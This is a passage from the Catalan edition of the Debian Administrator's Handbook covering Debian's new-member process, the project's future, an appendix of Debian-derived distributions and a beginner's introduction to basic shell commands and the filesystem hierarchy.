A més, s'espera que cada candidat que desitgi unir-se a les files de Debian conegui el funcionament del projecte, i com interactuar adequadament per resoldre els problemes que sens dubte apareixeran a mesura que passi el temps. Tota aquesta informació generalment està documentada en manuals dirigits als nous mantenidors, i a la referència del desenvolupador de Debian. Una lectura atenta d'aquest document hauria de ser suficient per a respondre a les preguntes de l'examinador. Si les respostes no són satisfactòries, s'informarà el candidat. Després caldrà llegir (altre cop) la documentació pertinent abans d'intentar-ho de nou. En els casos en què la documentació existent no conté la resposta apropiada per a la pregunta, el candidat normalment pot trobar a una resposta en alguna experiència pràctica dins de Debian, o potencialment discutint-ho amb altres desenvolupadors de Debian. Aquest mecanisme assegura que els candidats s'impliquin en certa mesura a Debian abans de convertir-se de ple en part d'aquest. És una política deliberada, mitjançant la qual els candidats que finalment s'uneixen al projecte s'integren com una altra peça d'un trencaclosques infinitament extensible.

Aquest pas es coneix normalment com filosofia & procediments (P&P per escurçar) en el lingo dels desenvolupadors implicats en el procés per nous membres.

15.4.2.4. Comprovació d'habilitats

Cada sol·licitud per convertir-se en desenvolupador oficial de Debian ha d'estar justificada. Convertir-se en membre del projecte requereix mostrar que aquest estatus és legítim, i que facilita el treball del candidat per ajudar Debian. La justificació més comuna és que si es concedeix l'estatus de desenvolupador de Debian això facilita el manteniment d'un paquet Debian, però no és l'única. Alguns desenvolupadors s'uneixen al projecte per contribuir a l'adaptació a una arquitectura específica, altres volen millorar la documentació, etc.

Aquest pas representa l'oportunitat que el candidat expliqui què pensa fer dins del projecte Debian i mostri el que ja han fet per a aquesta fi. Debian és un projecte pragmàtic i dir alguna cosa no és suficient, si les accions no coincideixen amb el que es diu. En general, quan el paper previst dins del projecte està relacionat amb el manteniment de paquets, una primera versió prospectiva del paquet haurà de ser validada tècnicament i pujada als servidors de Debian per un patrocinador entre els desenvolupadors de Debian existents.

COMUNITAT Patrocini

Els desenvolupadors de Debian poden “patrocinar” paquets preparats per algú altre, fet que significa que els publiquen als repositoris oficials de Debian després d'haver realitzat una acurada revisió. Aquest mecanisme permet a persones externes, que encara no han passat pel procés de nous membres, contribuir ocasionalment al projecte. Al mateix temps, assegura que tots els paquets inclosos a Debian sempre han estat verificats per un membre oficial.

Finalment, l'examinador comprova les habilitats tècniques del candidat amb un qüestionari detallat. No es permeten respostes incorrectes, però el temps de resposta no és limitat. Tota la documentació està disponible i es permeten diversos intents si les respostes inicials no són satisfactòries. Aquest pas no pretén discriminar, sinó garantir almenys un mínim de coneixements comuns als nous contribuïdors.

Aquest pas es coneix com el pas de les tasques & habilitats (T&S per abreujar de l'anglès «tasks & skills») en l'argot dels examinadors.

15.4.2.5. Aprovació final

A l'últim pas, tot el procés es revisa per un DAM («Debian Account Manager» o “gestor de comptes de Debian”). El DAM revisarà tota la informació sobre el candidat que hagi recollit l'examinador, i prendrà la decisió sobre si crear o no un compte als servidors de Debian. En els casos en què es requereixi informació addicional, la creació del compte es pot endarrerir. Els rebuigs són bastant rars si l'examinador fa una bona feina seguint el procés, però a vegades succeeixen. Mai són permanents, i el candidat és lliure d'intentar-ho una altra vegada.

La decisió del DAM és autoritativa i (gairebé) sense apel·lació, la qual cosa explica perquè la gent en aquest càrrec sovint ha estat criticada en el passat.

Capítol 16. Conclusió: el futur de Debian

La història de Falcot Corp acaba amb aquest darrer capítol, però Debian continua i el futur de ben cert que portarà moltes sorpreses interessants.

16.1. Propers desenvolupaments

Ara que Debian versió 11 s'ha publicat, els desenvolupadors ja tornen a estar ocupats treballant per a la següent versió, anomenada Bookworm…

No hi ha cap llista oficial amb tots canvis planificats, i Debian mai fa promeses relatives als objectius tècnics de les següents versions. No obstant això, algunes tendències de desenvolupament i temes de discussió es poden observar, i podem intentar endevinar què pot passar (o no). Alguns dels canvis esperats estan documentats a les notes de publicació de Debian 11:

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#deprecated-components

Més enllà de l'obsolescència habitual d'alguns components de programari, val la pena assenyalar que Debian està en procés de canviar al que es coneix com a sistema de fitxers «merged-usr-filesystem» (o “sistema de fitxers «usr» unificat”): en aquest esquema /bin, /sbin i /lib són enllaços simbòlics que apunten als directoris corresponents de /usr. Això millora la compatibilitat entre tots els sistemes Unix, ens fa més a prop de tenir tots els fitxers subministrats per Debian en un únic directori de nivell superior que fàcilment es pot protegir, fer-ne “instantànies” (o «snapshots») o compartir. Podeu aprendre més sobre els beneficis aquí:

→ https://www.freedesktop.org/wiki/Software/systemd/TheCaseForTheUsrMerge/

Aquest canvi important no està exempt de crear incidències: dpkg haurà d'aprendre sobre aquests directoris enllaçats, però al mantenidor de dpkg no li agrada la solució tècnica desplegada per Debian i encara no ha fet els canvis necessaris. L'ajuda del comitè tècnic de Debian ja ha estat sol·licitada diverses vegades. La seva última decisió es pot trobar aquí:

→ https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=994388#110

apt-key esdevindrà obsolet. La gestió de claus per a repositoris de tercers només ha de dependre de les claus trobades a /etc/apt/trusted.gpg.d o configurades amb Signed-By com es descriu a Secció 6.6, «Comprovació de l'autenticitat d'un paquet».

Per a algunes tasques, la solució de programari predeterminada canviarà. Com a exemple: plocate podria ser un reemplaçament més ràpid i més petit de mlocate. systemd continuarà afegint noves característiques que ajuden a estandarditzar el procés d'arrencada i la gestió del sistema, permetent-nos desfer-nos d'algun altre programari del sistema base.

Per descomptat, tots els principals paquets de programari tindran un canvi de versió important. L'última versió dels diversos escriptoris aportarà una millor usabilitat i noves característiques.

El permís predeterminat dels directoris d'inici serà més restrictiu, permetent només a l'usuari accedir als seus fitxers.

Els desenvolupaments que ja han començat continuaran: per exemple, millorar la “reproduïbilitat” de les compilacions i la seguretat. Amb l'ús generalitzat de la integració contínua i el creixement de l'arxiu (i dels paquets més grans!), les restriccions per les arquitectures publicades seran més difícils de complir i n'hi haurà que seran descartades.

16.2. El futur de Debian

A part d'aquests desenvolupaments interns, es pot esperar raonablement que surtin a la llum noves distribucions basades en Debian, ja que moltes eines continuen simplificant aquesta tasca. També s'iniciaran nous subprojectes especialitzats, per tal d'ampliar l'abast de Debian cap a nous horitzons.

La comunitat d'usuaris de Debian augmentarà i nous col·laboradors s'uniran al projecte... incloent-vos, potser, a vosaltres!

Hi ha debats recurrents sobre com evoluciona l'ecosistema de programari, cap a les aplicacions distribuïdes dins de contenidors, on els paquets Debian no tenen cap valor afegit, o amb gestors de paquets específics del llenguatge (p. ex. pip per a Python, npm per a JavaScript, etc.), que estan tornant obsolets dpkg i apt. Davant aquestes amenaces, estic convençut que els desenvolupadors de Debian trobaran la manera d'abastar aquests canvis i de continuar donant valor als usuaris.

Malgrat l'antiguitat i la mida respectable, Debian continua creixent en tota mena de direccions (de vegades inesperades). Els col·laboradors estan plens d'idees, i les discussions a les llistes de correu de desenvolupament, fins i tot quan sembla que pugen de to, continuen augmentant el ritme. Debian es compara de vegades amb un forat negre, de tal densitat que qualsevol nou projecte de programari lliure és atret.

Més enllà de l'aparent satisfacció de la majoria dels usuaris de Debian, una tendència profunda és cada vegada més indiscutible: la gent (i les empreses!) s'adona cada vegada més que col·laborar, en lloc de treballar sol en un racó, condueix a millors resultats per a tots. El nombre d'empreses que depenen de Debian és més gran cada any.

Per tant, el projecte Debian no està amenaçat d'extinció…

16.3. El futur d'aquest llibre

Ens agradaria que aquest llibre evolucionés amb l'esperit del programari lliure. Per tant, acollim amb satisfacció les contribucions, els comentaris, els suggeriments i les crítiques. Si us plau, dirigiu-les al Raphaël (<hertzog@debian.org>) o al Roland (<lolando@debian.org>). Per a una resposta activa, no dubteu a obrir informes d'error contra el paquet Debian debian-handbook. El lloc web s'utilitzarà per recopilar tota la informació rellevant de la seva evolució, i hi trobareu informació sobre com contribuir, en particular si voleu traduir aquest llibre per a fer-lo accessible a un públic encara més extens que avui.

→ https://debian-handbook.info/

→ https://bugs.debian.org/src:debian-handbook

Intentem integrar la major part del que ens va ensenyar la nostra experiència amb Debian, de manera que qualsevol pugui utilitzar aquesta distribució i aprofitar-la al més aviat possible. Esperem que aquest llibre contribueixi a fer que Debian sigui menys confús i més popular, i acollim amb satisfacció la publicitat que se'n fa!

Volem acabar amb una nota personal. Escriure (i traduir) aquest llibre ha pres una quantitat considerable de temps a la nostra activitat professional habitual. Com que tots dos som consultors autònoms, qualsevol nova font d'ingressos ens concedeix la llibertat de passar més temps millorant Debian; esperem que aquest llibre tingui èxit i contribueixi a això. Mentrestant, sabeu que podeu contractar els nostres serveis!

→ https://www.freexian.com

→ https://www.gnurandal.com

Fins aviat!

Apèndix A. Distribucions derivades

Moltes distribucions Linux són derivades de Debian i reutilitzen les eines de gestió de paquets de Debian. Totes elles tenen les seves propietats interessants, i és possible que alguna d'elles satisfaci les vostres necessitats millor que la pròpia Debian.

A.1. Cens i Cooperació

El projecte Debian reconeix plenament la importància de les distribucions derivades i recolza activament la col·laboració entre totes les parts implicades. Això normalment implica la integració de les millores inicialment desenvolupades per les distribucions derivades, de manera que tothom pugui beneficiar-se'n i es redueixi a llarg termini la feina del manteniment.

Això explica per què es convida a les distribucions derivades a participar en les discussions a la llista de correu debian-derivatives@lists.debian.org, i a participar en el cens de derivades. Aquest cens té com a objectiu recopilar informació sobre el treball que es fa en una derivada de manera que els mantenidors oficials de Debian puguin seguir millor l'estat del seu paquet a les variants de Debian.

→ https://wiki.debian.org/DerivativesFrontDesk

→ https://wiki.debian.org/Derivatives/Census

Ara descriurem breument les distribucions derivades més interessants i populars.

A.2. Ubuntu

Ubuntu va generar força enrenou quan va arribar a l'escena del programari lliure, i per una bona raó: Canonical Ltd., l'empresa que va crear aquesta distribució, va començar contractant a trenta desenvolupadors de Debian i declarant públicament l'objectiu de gran abast de proporcionar una distribució per al públic en general amb noves versions dos cops l'any. També es van comprometre a mantenir cada versió durant un any i mig.

Aquests objectius impliquen necessàriament una reducció de l'abast; Ubuntu se centra en un nombre més petit de paquets que Debian, i es basa principalment en l'escriptori GNOME (encara que hi ha derivats d'Ubuntu que vénen amb altres entorns d'escriptori). Tot està internacionalitzat i disponible en moltes llengües.

So far, Ubuntu has managed to keep this release rhythm. They also publish Long Term Support (LTS) releases, with a 5-year maintenance promise. As of April 2021, the current LTS version is version 20.04, nicknamed Focal Fossa. The last non-LTS version is version 21.04, nicknamed Hirsute Hippo. Version numbers describe the release date: 21.04, for example, was released in April 2021.

A LA PRÀCTICA La promesa de suport i manteniment d'Ubuntu

Canonical ha ajustat diverses vegades les normes que regeixen la durada del període durant el qual es manté una versió donat. Canonical, com a empresa, promet proporcionar actualitzacions de seguretat a tot el programari disponible a les seccions main i restricted de l'arxiu Ubuntu durant 5 anys per a les versions LTS i durant 9 mesos per als llançaments no LTS. Tota la resta (disponible a universe i multiverse es manté amb la millor intenció per voluntaris de l'equip MOTU (Masters of The Universe). Esteu disposats a gestionar el suport de seguretat si depeneu de paquets en aquestes últimes seccions.

Ubuntu ha arribat a una àmplia audiència en el públic en general. Milions d'usuaris es van quedar impressionats per la seva facilitat d'instal·lació, i en el treball que va fer que l'escriptori fos més senzill d'utilitzar.

Ubuntu i Debian mantenien una relació tibant; els desenvolupadors de Debian que havien posat grans esperances en Ubuntu contribuint directament a Debian estaven decebuts per la diferència entre el màrqueting de Canonical, que implicava que Ubuntu eren bons ciutadans en el món del programari lliure, i la pràctica real on simplement feien públics els canvis que aplicaven als paquets de Debian. Les coses han anat millorant al llarg dels anys, i Ubuntu ara ha fet que sigui pràctica habitual adreçar els pedaços al lloc més apropiat (encara que això només s'aplica al programari extern que empaqueta i no al programari específic d'Ubuntu com ara Mir o Unity).

→ https://www.ubuntu.com/

A.3. Linux Mint

Linux Mint és una distribució (parcialment) mantinguda en comunitat, recolzada per donacions i anuncis. El seu producte insígnia es basa en Ubuntu, però també ofereixen una «Linux Mint Debian Edition» (LMDE) que es basa en Debian Stable amb algunes actualitzacions. LMDE es troba disponible tant per a 32 com per a 64 bits.

En tots dos casos, la instal·lació inicial implica arrencar un DVD o llapis USB de tipus «live».

La distribució pretén simplificar l'accés a les tecnologies avançades, i proporciona interfícies d'usuari gràfiques específiques a més del programari habitual. Per exemple, Linux Mint es basa en Cinnamon en lloc de GNOME per defecte (però també inclou MATE i Xfce); de manera similar, la interfície de gestió de paquets, encara que basada en APT, proporciona una interfície específica amb una avaluació del risc de cada actualització de paquet.

Linux Mint inclou una gran quantitat de programari privatiu per millorar l'experiència dels usuaris que poden necessitar-ho. Per exemple: Adobe Flash i “còdecs” multimèdia.

→ https://linuxmint.com/

A.4. Knoppix

La distribució Knoppix gairebé no necessita introducció. Va ser la primera distribució popular que va proporcionar un live CD (o també “CD autònom”); en altres paraules, un CD-ROM d'arrencada que executa un sistema Linux sense necessitat de disc dur – qualsevol sistema ja instal·lat a la màquina romandrà intacte. La detecció automàtica dels dispositius disponibles permet que aquesta distribució funcioni en la majoria de configuracions de maquinari. El CD-ROM inclou gairebé 1 GB de programari (comprimit), i la versió de DVD-ROM en té unes 4.5 GB.

Combinant aquest CD-ROM amb un llapis USB podeu portar els vostres fitxers amb vosaltres, i treballar en qualsevol ordinador sense deixar rastre – recordeu que la distribució no utilitza el disc dur en absolut. Knoppix utilitza LXDE (un escriptori gràfic lleuger) per defecte, però la versió en DVD també inclou GNOME i Plasma. Moltes altres distribucions proporcionen altres combinacions d'escriptoris i programari. Això, en part, és possible gràcies al paquet Debian live-build que fa relativament senzill el crear un «live CD».

→ https://live-team.pages.debian.net/live-manual/

Tingueu en compte que Knoppix també inclou un instal·lador: primer podeu provar la distribució com a CD autònom, i després instal·lar-la al disc dur per obtenir millor rendiment.

→ https://www.knopper.net/knoppix/

A.5. Aptosid i Siduction

Aquestes distribucions basades en la comunitat segueixen els canvis de Debian Sid (Unstable) – d'aquí el seu nom. Les modificacions tenen un abast limitat: l'objectiu és proporcionar el programari més recent i actualitzar els controladors per al maquinari més recent, al temps que encara permet als usuaris tornar a la distribució oficial de Debian en qualsevol moment. Aptosid era anteriorment coneguda com a Sidux, i Siduction és una bifurcació més recent d'Aptosid.

→ http://aptosid.com

→ https://siduction.org

A.6. Grml

Grml és un CD autònom amb moltes eines per als administradors de sistema en relació a la instal·lació, el desplegament i el rescat del sistema. El CD autònom es proporciona en dues variants, full i small (“completa” i “petita” respectivament), tots dues disponibles per a PC de 32 bits i 64 bits. Òbviament, les dues variants difereixen per la quantitat de programari inclòs i per la mida resultant.

→ https://grml.org

A.7. Tails

Tails («The Amnesic Incognito Live System» o “Sistema autònom amnèsic d'incògnit”) té com a objectiu proporcionar un sistema autònom que preservi l'anonimat i la privacitat. Té molta cura de no deixar cap rastre a l'ordinador en el qual funciona i utilitza la xarxa Tor per connectar-se a Internet de la forma més anònima possible.

→ https://tails.boum.org

A.8. Kali Linux

Kali Linux és una distribució basada en Debian que s'especialitza en proves de penetració («penetration testing» o «pentesting»). Proporciona programari que ajuda a auditar la seguretat d'una xarxa o ordinador que està en funcionament, i per fer anàlisis després d'un atac (que es coneix com a “informàtica forense”).

→ https://kali.org

A.9. Devuan

Devuan és una bifurcació de Debian iniciada el 2014 com a reacció a la decisió presa per Debian de canviar a systemd com a sistema d'inici per defecte. Un grup d'usuaris lligats a sysv i oposats als inconvenients de systemd van iniciar Devuan amb l'objectiu de mantenir un sistema sense systemd.

→ https://devuan.org

A.10. DoudouLinux

DoudouLinux té com a objectiu els nens petits (a partir dels 2 anys). Per aconseguir aquest objectiu, proporciona una interfície gràfica fortament personalitzada (basada en LXDE) i ve amb molts jocs i aplicacions educatives. L'accés a Internet és filtrat per evitar que els nens visitin llocs web problemàtics. Els anuncis estan bloquejats. L'objectiu és que els pares siguin lliures de permetre que els seus fills utilitzin el seu ordinador una vegada engegat amb DoudouLinux. I als nens els hauria d'agradar usar DoudouLinux, tal com si gaudissin de la seva consola de jocs. Malauradament, aquesta distribució no ha vist cap mena de desenvolupament actiu en els darrers anys.

→ https://doudoulinux.org

A.11. Raspbian

Raspbian és una reconstrucció de Debian optimitzada per a la popular (i barata) família Raspberry Pi d'ordinadors en placa («single-board computers»). La recent publicació de Raspbian per a l'arquitectura arm64 ja no és, però, una recompilació. En lloc d'això, és una Debian Bullseye intacta. El projecte simplement afegeix alguns paquets addicionals, especialment un nucli a mida, per poder fer funcionar el maquinari.

→ https://raspbian.org

Debian també proporciona imatges pròpies per a diversos dispositius Raspberry Pi.

→ https://raspi.debian.net/

A.12. PureOS

PureOS és una distribució basada en Debian centrada en la privacitat, la comoditat i la seguretat. Segueix les GNU Free System Distribution Guidelines (o Pautes de GNU per a la distribució de sistemes lliures), utilitzades per la Free Software Foundation per qualificar una distribució com a lliure. L'empresa de propòsit social Purism guia el seu desenvolupament.

→ https://pureos.net/

A.13. SteamOS

Steamos és una distribució de Debian orientada a jocs desenvolupada per Valve Corporation. S'utilitza en les «Steam Machine», una línia d'ordinadors de joc. La propera versió 3.0 usarà, però, Arch Linux com a plataforma.

→ https://store.steampowered.com/steamos/

A.14. I moltes més

El lloc web Distrowatch referencia un gran nombre de distribucions de Linux, moltes de les quals es basen en Debian. La navegació d'aquest lloc és una gran manera de tenir una idea de la diversitat en el món del programari lliure.

→ https://distrowatch.com

El formulari de cerca pot ajudar a localitzar una distribució basada en la seva ascendència. A l'abril de 2021, triant Debian apareixien 154 distribucions actives!

→ https://distrowatch.com/search.php

Apèndix B. Curs breu d'emergència

Si bé aquest llibre s'adreça principalment a administradors i a “usuaris avançats”, no voldríem excloure als principiants motivats. Aquest apèndix serà, per tant, un curs de xoc que descriurà els conceptes fonamentals que implica la manipulació d'un ordinador Unix.

B.1. Ordres bàsiques i de l'intèrpret de comandes

En el món Unix, cada administrador ha d'utilitzar la línia d'ordres tard o d'hora; per exemple, quan el sistema no s'inicia correctament i només proporciona un mode de rescat de línia d'ordres. Per tant, ser capaç de manejar una interfície d'aquest tipus és una habilitat de supervivència bàsica per a aquestes circumstàncies.

ULLADA RÀPIDA Iniciar l'intèrpret de comandes

Un entorn de línia d'ordres es pot executar des de l'escriptori gràfic, amb una aplicació coneguda com a “terminal”. Amb GNOME, podeu iniciar-la des de la vista general “Activitats” (que obteniu quan moveu el ratolí a la cantonada superior esquerra de la pantalla) escrivint les primeres lletres del nom de l'aplicació. Amb Plasma (i en moltes altres variants d'escriptoris), ho trobareu al menú d'aplicacions Aplicacions → Sistema.

Aquesta secció només fa una ullada ràpida a les ordres. Totes tenen moltes opcions que no es descriuen aquí, així que si us plau, consulteu l'abundant documentació en les seves respectives pàgines del manual.

B.1.1. Navegació per l'arbre de directoris i gestió de fitxers

Un cop oberta una sessió, l'ordre pwd (que ve de l'anglès «print working directory» i vol dir imprimir el directori de treball) mostra la ubicació actual en el sistema de fitxers. El directori actual es canvia amb l'ordre cd directori (cd vol dir canviar de directori o “change directory” en anglès). El directori pare sempre s'anomena .. (dos punts), mentre que el directori actual també se'l coneix com a . (un punt). L'ordre ls permet llistar el contingut d'un directori. Si no se li passa cap paràmetre, operarà en el directori actual.

$ pwd /home/rhertzog $ cd Desktop $ pwd /home/rhertzog/Desktop $ cd . $ pwd /home/rhertzog/Desktop $ cd .. $ pwd /home/rhertzog $ ls Desktop Downloads Pictures Templates Documents Music Public Videos

Es pot crear un directori nou amb mkdir directori, i es pot eliminar un directori existent (buit) amb rmdir directori. L'ordre mv permet moure i/o reanomenar fitxers i directoris; eliminar un fitxer s'aconsegueix amb rm fitxer.

$ mkdir test $ ls Desktop Downloads Pictures Templates Videos Documents Music Public test $ mv test new $ ls Desktop Downloads new Public Videos Documents Music Pictures Templates $ rmdir new $ ls Desktop Downloads Pictures Templates Videos Documents Music Public

B.1.2. Visualització i modificació de fitxers de text

L'ordre cat fitxer (pensada per concatenar fitxers al dispositiu de sortida estàndard) llegeix un fitxer i mostra el seu contingut al terminal. Si el fitxer és massa gran per a cabre en una pantalla, utilitzeu un paginador com ara less (o more) per a mostrar-lo pàgina per pàgina.

L'ordre editor inicia un editor de text (com ara vi o nano) i permet crear, modificar i llegir fitxers de text. Els fitxers més simples de vegades es poden crear directament des de l'intèrpret d'ordres gràcies a la redirecció: echo "text" >fitxer crea un fitxer anomenat fitxer amb “text” com a contingut. També és possible afegir una línia al final d'aquest fitxer amb una ordre com ara echo "més text" >>fitxer. Tingueu en compte el >> en aquest exemple.

B.1.3. Cerca de fitxers i a l'interior de fitxers

L'ordre find directori criteri cerca fitxers a la jerarquia sota directori segons diversos criteris. El criteri més utilitzat és -name nom: això permet buscar un fitxer pel seu nom.

L'ordre grep expressió fitxers cerca el contingut dels fitxers i extreu les línies que coincideixen amb l'expressió regular (vegeu la barra lateral TORNAR A LES BASES Expressions regulars). Afegir l'opció -r permet una cerca recursiva en tots els fitxers continguts al directori passat com a paràmetre. Això permet cercar un fitxer quan només es coneix una part del contingut.

B.1.4. Gestió de processos

L'ordre ps aux llista els processos que s'estan executant i ajuda a identificar-los mostrant el seu pid (identificador de procés). Una vegada que es coneix el pid d'un procés, l'ordre kill -senyal pid permet enviar un senyal (si el procés pertany a l'usuari actual). Existeixen diversos senyals; els més comunament utilitzats són TERM (petició per acabar ordenadament ) i KILL (per forçar-ne la finalització).

L'intèrpret d'ordres també pot executar programes en segon pla si l'ordre és seguida per un “&”. Utilitzant l'ampersand, l'usuari reprèn el control de l'intèrpret de comandes immediatament tot i que l'ordre encara s'està executant (oculta a l'usuari, com a procés en segon pla). L'ordre jobs llista els processos que s'executen en segon pla; executant fg %número-de-procés (fg de «foreground» o “primer pla”) restaura una tasca en primer pla. Quan una ordre s'executa en primer pla (ja sigui perquè s'ha iniciat normalment, o perquè s'ha retornat al primer pla amb fg), la combinació de tecles Control+Z posa en pausa el procés i retorna al control de la línia d'ordres. El procés es pot reiniciar en segon pla amb bg %número-de-procés (bg de background o “segon pla”).

B.1.5. Informació del sistema: memòria, espai de disc, identitat

L'ordre free mostra informació sobre la memòria; df (disk free o “disc lliure”) informa sobre l'espai disponible de disc en cadascun dels discos muntats en el sistema de fitxers. L'opció -h (de «human readable» o “llegible per humans”) converteix les mides en una unitat més entenedora (normalment “mebibytes” o “gibibytes”). De manera similar, l'ordre free admet les opcions -m i -g, i mostra les seves dades tant en “mebibytes” com en “gibibytes”, respectivament.

$ free total used free shared buff/cache available Mem: 16279260 5910248 523432 871036 9845580 9128964 Swap: 16601084 240640 16360444 $ df Filesystem 1K-blocks Used Available Use% Mounted on udev 8108516 0 8108516 0% /dev tmpfs 1627928 161800 1466128 10% /run /dev/mapper/vg_main-root 466644576 451332520 12919912 98% / tmpfs 8139628 146796 7992832 2% /dev/shm tmpfs 5120 4 5116 1% /run/lock tmpfs 8139628 0 8139628 0% /sys/fs/cgroup /dev/sda1 523248 1676 521572 1% /boot/efi tmpfs 1627924 88 1627836 1% /run/user/1000

L'ordre id mostra la identitat de l'usuari que executa la sessió, juntament amb la llista de grups als quals pertany. Atès que l'accés a alguns fitxers o dispositius pot estar limitat als membres del grup, comprovar la pertinença a grups pot ser útil.

$ id uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. Organització de la jerarquia del sistema de fitxers

B.2.1. El directori arrel

Un sistema Debian s'organitza al llarg de la «Filesystem Hierarchy Standard» (FHS) o “Estàndard de la jerarquia de sistemes de fitxers”. Aquest estàndard defineix la finalitat de cada directori. Per exemple, els directoris de nivell superior es descriuen de la següent manera:

/bin/: programes bàsics;

/boot/: nucli de Linux i altres fitxers necessaris per al procés inicial d'arrencada;

/dev/: fitxers de dispositiu;

/etc/: fitxers de configuració;

/home/: fitxers personals d'usuari;

/lib/: biblioteques bàsiques;

/media/*: punts de muntatge per a dispositius extraïbles (CD-ROM, llapis USB i d'altres);

/mnt/: punt de muntatge temporal;

/opt/: aplicacions addicionals proporcionades per tercers;

/root/: fitxers personals de l'administrador (root);

/run/: dades volàtils en temps d'execució que no persisteixen al reiniciar;

/sbin/: programes del sistema;

/srv/: dades utilitzades pels servidors hostatjats en aquest sistema;

/tmp/: fitxers temporals; aquest directori sovint es buida a l'engegar;

/usr/: aplicacions; aquest directori encara se subdivideix en bin, sbin, lib(segons la mateixa lògica que al directori arrel). A més, /usr/share/ conté dades independents de l'arquitectura. /usr/local/ està destinat a ser utilitzat per l'administrador per instal·lar aplicacions manualment sense sobreescriure fitxers gestionats pel sistema de paquets (dpkg).

/var/: dades variables gestionades pels dimonis. Això inclou fitxers de registre, cues, memòries cau i d'altres.

/proc/ i /sys/ són específics del nucli de Linux (i no formen part de l'FHS). Són utilitzats pel nucli per exportar dades a l'espai d'usuari (vegeu Secció B.3.4, «L'espai d'usuari» i Secció B.5, «L'espai d'usuari» per més explicacions sobre aquest concepte).

Tingueu en compte que moltes distribucions modernes, Debian inclosa, estan enviant /bin, /sbin i /lib com enllaços simbòlics als directoris corresponents sota /usr de manera que tots els programes i biblioteques estan disponibles en un sol arbre. Això fa més fàcil protegir la integritat dels arxius del sistema, i compartir aquests arxius entre múltiples contenidors, etc.

B.2.2. El directori personal de l'usuari

El contingut del directori personal d'un usuari no està estandarditzat, però tot i així hi ha algunes convencions notables. Una és que el directori d'inici d'un usuari sovint és referit amb una titlla (“~”). Això és útil de saber-ho perquè els intèrprets d'ordres substitueixen automàticament la titlla pel directori correcte (normalment /home/usuari/).

Tradicionalment, els fitxers de configuració de l'aplicació sovint s'emmagatzemen directament sota el directori inicial de l'usuari, però els seus noms comencen amb un punt (per exemple, el client de correu electrònic mutt emmagatzema la seva configuració a )~/.muttrc). Tingueu en compte que els noms de fitxer que comencen amb un punt queden ocults per defecte, i ls només els llista quan s'utilitza l'opció -a, i als gestors gràfics de fitxers se'ls ha de demanar que mostrin els fitxers ocults.

Alguns programes també utilitzen múltiples fitxers de configuració organitzats en un directori (per exemple, ~/.ssh/). Algunes aplicacions també utilitzen el seu directori per emmagatzemar una memòria cau de dades baixades. Això vol dir que aquests directoris poden acabar usant un munt d'espai de disc.

Aquests fitxers de configuració emmagatzemats directament en el directori d'inici d'un usuari, sovint anomenats col·lectivament com a «dotfiles» o “fitxers (que comencen amb) punt”, han proliferat fins al punt que aquests directoris en poden estar plens. Afortunadament, un esforç dirigit col·lectivament sota el paraigua de FreeDesktop.org ha donat lloc a l'"Especificació del directori base XDG", una convenció que pretén endreçar aquests fitxers i directoris. Aquesta especificació estableix que els fitxers de configuració s'han d'emmagatzemar sota ~/.config/, els fitxers de memòria cau sota ~/.cache/, i els fitxers de dades d'aplicació sota ~/.local/(o subdirectoris d'aquest). Aquesta convenció està guanyant tracció lentament, i diverses aplicacions (especialment gràfiques) han començat a seguir-la.

Els escriptoris gràfics normalment mostren el contingut del directori ~/Desktop/ (o sigui quina sigui la traducció corresponent en sistemes no configurats en anglès) a l'escriptori (és a dir, el que és visible a la pantalla un cop totes les aplicacions estan tancades o iconitzades).

Finalment, el sistema de correu electrònic de vegades emmagatzema els correus electrònics entrants en un directori ~/Mail/.

B.3. Funcionament intern d'un ordinador: les diferents capes involucrades

Un ordinador sovint es considera una cosa bastant abstracta, i la interfície visible externa és molt més simple que la seva complexitat interna. Aquesta complexitat ve en part del nombre de peces involucrades. No obstant això, aquestes peces es poden veure en capes, on una capa només interacciona amb les que estan immediatament a sobre o a sota.

Un usuari final pot passar sense saber aquests detalls... mentre tot funcioni. Quan s'enfronta a un problema com "Internet no funciona!", el primer que cal fer és identificar en quina capa s'origina el problema. Funciona la targeta de xarxa (maquinari)? És reconeguda per l'ordinador? El nucli Linux la “veu”? Estan correctament configurats els paràmetres de la xarxa? Totes aquestes preguntes aïllen una capa adequada i se centren en una potencial font del problema.

B.3.1. La capa més profunda: el maquinari

Comencem amb un recordatori bàsic que un ordinador és, abans que res, un conjunt d'elements de maquinari («hardware»). Generalment hi ha una placa principal (coneguda com a placa mare o «motherboard»), amb un (o més) processador(s), algunea RAM, controladors de dispositius i ranures d'extensió per a plaques opcionals (per a d'altres controladors de dispositius). La majoria d'aquests controladors són IDE (Parallel ATA), SCSI i Serial ATA, per connectar-se a dispositius d'emmagatzematge com ara discos durs. Altres controladors inclouen USB, que és capaç d'albergar una gran varietat de dispositius (des de càmeres web fins termòmetres, des de teclats fins a sistemes d'automatització domòtica) i IEEE 1394 (Firewire). Aquests controladors sovint permeten connectar diversos dispositius, de manera que el subsistema complet gestionat per un controlador es coneix normalment com a "bus". Les plaques opcionals poden ser targetes gràfiques (a les quals s'hi connectaran les pantalles del monitor), targetes de so, targetes d'interfície de xarxa, etc. Algunes plaques mare ja inclouen aquestes característiques i no necessiten targes opcionals.

A LA PRÀCTICA Verificant que el maquinari funciona

Comprovar que una peça de maquinari funciona pot ser difícil. D'altra banda, demostrar que no funciona a vegades és molt simple.

Una unitat de disc dur està feta de plats giratoris i capçals magnètics mòvils. Quan un disc dur s'engega, el motor dels plats fa un xiulet característic. També dissipa l'energia en forma de calor. En conseqüència, un disc dur que es manté fred i silenciós quan se l'engega està espatllat.

Les targetes de xarxa sovint inclouen LEDs que mostren l'estat de l'enllaç. Si un cable està connectat i condueix a un concentrador de xarxa o a un commutador que funcionen, almenys un LED estarà activat. Si no s'il·lumina cap LED, la targeta mateixa, el dispositiu de xarxa o el cable entre ells és defectuós. El següent pas és, per tant, provar cada component individualment.

Algunes plaques opcioals — especialment les targetes de vídeo 3D — inclouen dispositius de refrigeració, com ara dissipadors de calor i/o venntiladors. Si el ventilador no gira tot i que la targeta està engegada, una explicació plausible és que la tarja està sobreescalfada. Això també s'aplica als processadors ubicats a la placa mare.

B.3.2. L'Iniciador: la BIOS o la UEFI

El maquinari, per si sol, no pot realitzar tasques útils sense una part corresponent de programari que la dirigeix. Controlar i interactuar amb el maquinari és el propòsit del sistema operatiu i les aplicacions. Aquests, al seu torn, requereixen maquinari funcional per operar.

